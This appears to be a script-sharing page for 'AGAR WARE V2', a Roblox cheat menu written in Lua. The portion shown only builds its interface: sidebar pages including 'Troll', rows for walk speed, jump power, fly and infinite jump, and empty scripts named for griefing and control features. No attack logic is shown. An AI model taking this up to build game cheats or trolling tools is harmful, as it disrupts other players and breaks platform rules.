AGAR WARE V2 opensourced
Key Required

AGAR WARE V2 opensourced

The Chosen OneTheDeobfuscatorTheDeobfuscator 1.9K views 20K executesUpdated Jun 12, 2026
2.5/ 5(4 votes)
2250% Positive
Lua Script•37946 lines (1300012 chars)
--[=[
 d888b  db    db d888888b      .d888b.      db      db    db  .d8b.  
88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
88      88    88    88            odD'      88      88    88 88ooo88 
88  ooo 88    88    88          .88'        88      88    88 88~~~88 
88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88    @uniquadev
 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER 
]=]

-- Instances: 876 | Scripts: 169 | Modules: 0 | Tags: 0
local G2L = {};

-- StarterGui.AgarWareGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["DisplayOrder"] = 999999999;
G2L["1"]["Name"] = [[AgarWareGui]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;


-- StarterGui.AgarWareGui.MoveToCorGui
G2L["2"] = Instance.new("LocalScript", G2L["1"]);
G2L["2"]["Name"] = [[MoveToCorGui]];


-- StarterGui.AgarWareGui.ChatQueue
G2L["3"] = Instance.new("LocalScript", G2L["1"]);
G2L["3"]["Name"] = [[ChatQueue]];


-- StarterGui.AgarWareGui.Execution
G2L["4"] = Instance.new("LocalScript", G2L["1"]);
G2L["4"]["Name"] = [[Execution]];


-- StarterGui.AgarWareGui.UnloadBLACKLIST
G2L["5"] = Instance.new("LocalScript", G2L["1"]);
G2L["5"]["Name"] = [[UnloadBLACKLIST]];


-- StarterGui.AgarWareGui.GriefDetectorConsole
G2L["6"] = Instance.new("LocalScript", G2L["1"]);
G2L["6"]["Name"] = [[GriefDetectorConsole]];


-- StarterGui.AgarWareGui.DropdownMaster
G2L["7"] = Instance.new("LocalScript", G2L["1"]);
G2L["7"]["Name"] = [[DropdownMaster]];


-- StarterGui.AgarWareGui.contorl them
G2L["8"] = Instance.new("LocalScript", G2L["1"]);
G2L["8"]["Name"] = [[contorl them]];


-- StarterGui.AgarWareGui.MainFrame
G2L["9"] = Instance.new("Frame", G2L["1"]);
G2L["9"]["Active"] = true;
G2L["9"]["ZIndex"] = 10;
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(23, 23, 23);
G2L["9"]["Selectable"] = true;
G2L["9"]["Size"] = UDim2.new(0, 450, 0, 300);
G2L["9"]["Position"] = UDim2.new(0.31666, -232, 0.20818, 128);
G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["9"]["Name"] = [[MainFrame]];


-- StarterGui.AgarWareGui.MainFrame.UIPadding
G2L["a"] = Instance.new("UIPadding", G2L["9"]);
G2L["a"]["PaddingLeft"] = UDim.new(0, 8);


-- StarterGui.AgarWareGui.MainFrame.SideBar
G2L["b"] = Instance.new("ScrollingFrame", G2L["9"]);
G2L["b"]["ScrollingDirection"] = Enum.ScrollingDirection.Y;
G2L["b"]["CanvasSize"] = UDim2.new(0, 0, 1, 0);
G2L["b"]["ScrollingEnabled"] = false;
G2L["b"]["Name"] = [[SideBar]];
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["AutomaticCanvasSize"] = Enum.AutomaticSize.Y;
G2L["b"]["Size"] = UDim2.new(0, 60, 0, 266);
G2L["b"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["Position"] = UDim2.new(0, 0, 0.08667, 0);
G2L["b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["b"]["ScrollBarThickness"] = 0;


-- StarterGui.AgarWareGui.MainFrame.SideBar.PageHandler
G2L["c"] = Instance.new("LocalScript", G2L["b"]);
G2L["c"]["Name"] = [[PageHandler]];


-- StarterGui.AgarWareGui.MainFrame.SideBar.UIListLayout
G2L["d"] = Instance.new("UIListLayout", G2L["b"]);
G2L["d"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.SideBar.UIPadding
G2L["e"] = Instance.new("UIPadding", G2L["b"]);



-- StarterGui.AgarWareGui.MainFrame.SideBar.MainPG
G2L["f"] = Instance.new("TextButton", G2L["b"]);
G2L["f"]["TextWrapped"] = true;
G2L["f"]["TextSize"] = 12;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["f"]["LayoutOrder"] = 1;
G2L["f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["f"]["Text"] = [[Main]];
G2L["f"]["Name"] = [[MainPG]];


-- StarterGui.AgarWareGui.MainFrame.SideBar.SettingsPG
G2L["10"] = Instance.new("TextButton", G2L["b"]);
G2L["10"]["TextWrapped"] = true;
G2L["10"]["TextSize"] = 12;
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["10"]["LayoutOrder"] = 2;
G2L["10"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["10"]["Text"] = [[Settings]];
G2L["10"]["Name"] = [[SettingsPG]];


-- StarterGui.AgarWareGui.MainFrame.SideBar.VisualPG
G2L["11"] = Instance.new("TextButton", G2L["b"]);
G2L["11"]["TextSize"] = 12;
G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["11"]["LayoutOrder"] = 4;
G2L["11"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["11"]["Text"] = [[Visual]];
G2L["11"]["Name"] = [[VisualPG]];


-- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG
G2L["12"] = Instance.new("TextButton", G2L["b"]);
G2L["12"]["TextWrapped"] = true;
G2L["12"]["TextSize"] = 12;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["12"]["LayoutOrder"] = 3;
G2L["12"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["12"]["Text"] = [[TCO]];
G2L["12"]["Name"] = [[TCOPG]];


-- StarterGui.AgarWareGui.MainFrame.SideBar.TCOPG.TCOIngame
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
G2L["13"]["Name"] = [[TCOIngame]];


-- StarterGui.AgarWareGui.MainFrame.SideBar.MiscPG
G2L["14"] = Instance.new("TextButton", G2L["b"]);
G2L["14"]["TextSize"] = 12;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["14"]["LayoutOrder"] = 6;
G2L["14"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["14"]["Text"] = [[Misc]];
G2L["14"]["Name"] = [[MiscPG]];


-- StarterGui.AgarWareGui.MainFrame.SideBar.MenuPG
G2L["15"] = Instance.new("TextButton", G2L["b"]);
G2L["15"]["TextWrapped"] = true;
G2L["15"]["TextSize"] = 12;
G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["15"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["15"]["Text"] = [[MENU]];
G2L["15"]["Name"] = [[MenuPG]];


-- StarterGui.AgarWareGui.MainFrame.SideBar.TrollPG
G2L["16"] = Instance.new("TextButton", G2L["b"]);
G2L["16"]["TextSize"] = 12;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["16"]["LayoutOrder"] = 5;
G2L["16"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["16"]["Text"] = [[Troll]];
G2L["16"]["Name"] = [[TrollPG]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea
G2L["17"] = Instance.new("Frame", G2L["9"]);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["Size"] = UDim2.new(0, 365, 0, 266);
G2L["17"]["Position"] = UDim2.new(0.15385, 0, 0.08667, 0);
G2L["17"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["17"]["Name"] = [[ContentArea]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage
G2L["18"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["18"]["Visible"] = false;
G2L["18"]["Active"] = true;
G2L["18"]["BorderSizePixel"] = 0;
G2L["18"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["18"]["Name"] = [[MainPage]];
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["18"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["18"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["ScrollBarThickness"] = 0;
G2L["18"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide
G2L["19"] = Instance.new("Frame", G2L["18"]);
G2L["19"]["BorderSizePixel"] = 0;
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["19"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["19"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["Name"] = [[MainLeftSide]];
G2L["19"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.UIListLayout
G2L["1a"] = Instance.new("UIListLayout", G2L["19"]);
G2L["1a"]["Padding"] = UDim.new(0, 7);
G2L["1a"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup
G2L["1b"] = Instance.new("Frame", G2L["19"]);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1b"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1b"]["Size"] = UDim2.new(0, 170, 0, 120);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1b"]["Name"] = [[MovementGroup]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);
G2L["1c"]["Name"] = [[MovementScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.UIListLayout
G2L["1d"] = Instance.new("UIListLayout", G2L["1b"]);
G2L["1d"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementAccentColor
G2L["1e"] = Instance.new("Frame", G2L["1b"]);
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1e"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["1e"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["1e"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["1e"]["Name"] = [[MovementAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementTitle
G2L["1f"] = Instance.new("TextLabel", G2L["1b"]);
G2L["1f"]["TextWrapped"] = true;
G2L["1f"]["BorderSizePixel"] = 0;
G2L["1f"]["TextSize"] = 14;
G2L["1f"]["TextScaled"] = true;
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["1f"]["BackgroundTransparency"] = 0.95;
G2L["1f"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["Text"] = [[Movement]];
G2L["1f"]["LayoutOrder"] = 1;
G2L["1f"]["Name"] = [[MovementTitle]];
G2L["1f"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.MovementTitle.MovementMinimize
G2L["20"] = Instance.new("TextButton", G2L["1f"]);
G2L["20"]["BorderSizePixel"] = 0;
G2L["20"]["TextSize"] = 14;
G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["BackgroundTransparency"] = 1;
G2L["20"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["Text"] = [[-]];
G2L["20"]["Name"] = [[MovementMinimize]];
G2L["20"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow
G2L["21"] = Instance.new("Frame", G2L["1b"]);
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["21"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["Name"] = [[WalkspeedRow]];
G2L["21"]["LayoutOrder"] = 3;
G2L["21"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedTickBox
G2L["22"] = Instance.new("TextButton", G2L["21"]);
G2L["22"]["TextSize"] = 14;
G2L["22"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["22"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["22"]["Text"] = [[]];
G2L["22"]["Name"] = [[WalkspeedTickBox]];
G2L["22"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedText
G2L["23"] = Instance.new("TextLabel", G2L["21"]);
G2L["23"]["BorderSizePixel"] = 0;
G2L["23"]["TextSize"] = 14;
G2L["23"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["BackgroundTransparency"] = 1;
G2L["23"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["Text"] = [[Walk Speed]];
G2L["23"]["Name"] = [[WalkspeedText]];
G2L["23"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.WalkspeedRow.WalkspeedSpeedChanger
G2L["24"] = Instance.new("TextBox", G2L["21"]);
G2L["24"]["Name"] = [[WalkspeedSpeedChanger]];
G2L["24"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["24"]["TextWrapped"] = true;
G2L["24"]["TextSize"] = 14;
G2L["24"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["24"]["TextScaled"] = true;
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["PlaceholderText"] = [[(16)]];
G2L["24"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["24"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["24"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["24"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow
G2L["25"] = Instance.new("Frame", G2L["1b"]);
G2L["25"]["BorderSizePixel"] = 0;
G2L["25"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["25"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["Name"] = [[JumppowerRow]];
G2L["25"]["LayoutOrder"] = 3;
G2L["25"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerTickBox
G2L["26"] = Instance.new("TextButton", G2L["25"]);
G2L["26"]["TextSize"] = 14;
G2L["26"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["26"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["26"]["Text"] = [[]];
G2L["26"]["Name"] = [[JumppowerTickBox]];
G2L["26"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerText
G2L["27"] = Instance.new("TextLabel", G2L["25"]);
G2L["27"]["BorderSizePixel"] = 0;
G2L["27"]["TextSize"] = 14;
G2L["27"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["27"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["BackgroundTransparency"] = 1;
G2L["27"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["27"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["Text"] = [[Jump Power]];
G2L["27"]["Name"] = [[JumppowerText]];
G2L["27"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.JumppowerRow.JumppowerJumpChanger
G2L["28"] = Instance.new("TextBox", G2L["25"]);
G2L["28"]["Name"] = [[JumppowerJumpChanger]];
G2L["28"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["28"]["TextWrapped"] = true;
G2L["28"]["TextSize"] = 14;
G2L["28"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["28"]["TextScaled"] = true;
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["PlaceholderText"] = [[(50)]];
G2L["28"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["28"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["28"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["28"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow
G2L["29"] = Instance.new("Frame", G2L["1b"]);
G2L["29"]["BorderSizePixel"] = 0;
G2L["29"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["29"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["29"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29"]["Name"] = [[FlyRow]];
G2L["29"]["LayoutOrder"] = 3;
G2L["29"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlyTickBox
G2L["2a"] = Instance.new("TextButton", G2L["29"]);
G2L["2a"]["TextSize"] = 14;
G2L["2a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2a"]["Text"] = [[]];
G2L["2a"]["Name"] = [[FlyTickBox]];
G2L["2a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlyText
G2L["2b"] = Instance.new("TextLabel", G2L["29"]);
G2L["2b"]["BorderSizePixel"] = 0;
G2L["2b"]["TextSize"] = 14;
G2L["2b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["BackgroundTransparency"] = 1;
G2L["2b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["Text"] = [[Fly]];
G2L["2b"]["Name"] = [[FlyText]];
G2L["2b"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.FlyRow.FlySpeedChanger
G2L["2c"] = Instance.new("TextBox", G2L["29"]);
G2L["2c"]["Name"] = [[FlySpeedChanger]];
G2L["2c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2c"]["TextWrapped"] = true;
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2c"]["TextScaled"] = true;
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["PlaceholderText"] = [[(50)]];
G2L["2c"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["2c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["2c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2c"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow
G2L["2d"] = Instance.new("Frame", G2L["1b"]);
G2L["2d"]["BorderSizePixel"] = 0;
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["Name"] = [[InfJumpRow]];
G2L["2d"]["LayoutOrder"] = 3;
G2L["2d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow.InfJumpTickBox
G2L["2e"] = Instance.new("TextButton", G2L["2d"]);
G2L["2e"]["TextSize"] = 14;
G2L["2e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2e"]["Text"] = [[]];
G2L["2e"]["Name"] = [[InfJumpTickBox]];
G2L["2e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.InfJumpRow.InfJumpText
G2L["2f"] = Instance.new("TextLabel", G2L["2d"]);
G2L["2f"]["BorderSizePixel"] = 0;
G2L["2f"]["TextSize"] = 14;
G2L["2f"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundTransparency"] = 1;
G2L["2f"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["Text"] = [[Infinite Jump]];
G2L["2f"]["Name"] = [[InfJumpText]];
G2L["2f"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow
G2L["30"] = Instance.new("Frame", G2L["1b"]);
G2L["30"]["BorderSizePixel"] = 0;
G2L["30"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["30"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["Name"] = [[ShiftLockRow]];
G2L["30"]["LayoutOrder"] = 3;
G2L["30"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockScript
G2L["31"] = Instance.new("LocalScript", G2L["30"]);
G2L["31"]["Name"] = [[ShiftLockScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockTickBox
G2L["32"] = Instance.new("TextButton", G2L["30"]);
G2L["32"]["TextSize"] = 14;
G2L["32"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["32"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["32"]["Text"] = [[]];
G2L["32"]["Name"] = [[ShiftLockTickBox]];
G2L["32"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


